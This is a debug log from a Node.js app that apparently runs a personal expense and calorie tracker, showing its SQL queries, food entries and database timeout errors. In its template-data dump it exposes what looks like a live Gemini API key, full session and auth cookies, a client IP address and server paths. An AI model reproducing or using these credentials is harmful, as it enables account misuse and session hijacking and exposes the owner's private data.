  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T10:13:48.550Z server-connect:output restrict: undefined
2025-12-16T10:13:48.550Z server-connect:app Executing action step single
2025-12-16T10:13:48.550Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T10:13:48.551Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T10:13:48.551Z server-connect:app Executing action step select
2025-12-16T10:13:48.551Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T10:13:48.553Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  }
]
2025-12-16T10:13:48.553Z server-connect:app Executing action step setvalue
2025-12-16T10:13:48.553Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T10:13:48.553Z server-connect:output var_total: 1071
2025-12-16T10:13:48.553Z server-connect:app Executing action step setvalue
2025-12-16T10:13:48.553Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T10:13:48.553Z server-connect:output var_consumed: 45
2025-12-16T10:13:48.553Z server-connect:app Executing action step setvalue
2025-12-16T10:13:48.553Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T10:13:48.553Z server-connect:output var_deficit: 1329
2025-12-16T10:13:48.553Z server-connect:app Executing action step custom
2025-12-16T10:13:48.553Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T10:13:48.555Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1071',
    surplus_or_deficit: '1329',
    status_flag: 2
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 10:19:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 10:19:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 10:54:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 10:54:35' as DATETIME)"
}
2025-12-16T11:15:57.601Z server-connect:router Serving templateView /
2025-12-16T11:15:57.602Z server-connect:app Executing action step identify
2025-12-16T11:15:57.602Z server-connect:app options: { provider: 'security' }
2025-12-16T11:15:57.602Z server-connect:output identity: 1
2025-12-16T11:15:57.602Z server-connect:app Executing action step restrict
2025-12-16T11:15:57.602Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T11:15:57.603Z server-connect:output restrict: undefined
2025-12-16T11:15:57.604Z server-connect:app Executing action step restrict
2025-12-16T11:15:57.604Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T11:15:57.604Z server-connect:output restrict: undefined
2025-12-16T11:15:57.604Z server-connect:router Render template layouts/main
2025-12-16T11:15:57.604Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T11:16:07.888Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T11:16:07.889Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T11:16:07.890Z server-connect:app Executing action step identify
2025-12-16T11:16:07.890Z server-connect:app options: { provider: 'security' }
2025-12-16T11:16:07.890Z server-connect:output identity: 1
2025-12-16T11:16:07.890Z server-connect:app Executing action step restrict
2025-12-16T11:16:07.890Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:16:07.890Z server-connect:app Executing action step identify
2025-12-16T11:16:07.890Z server-connect:app options: { provider: 'security' }
2025-12-16T11:16:07.891Z server-connect:output identity: 1
2025-12-16T11:16:07.891Z server-connect:app Executing action step restrict
2025-12-16T11:16:07.891Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:16:07.893Z server-connect:output restrict: undefined
2025-12-16T11:16:07.893Z server-connect:app Executing action step select
2025-12-16T11:16:07.893Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T11:16:07.894Z server-connect:output restrict: undefined
2025-12-16T11:16:07.894Z server-connect:app Executing action step single
2025-12-16T11:16:07.894Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T11:16:07.900Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
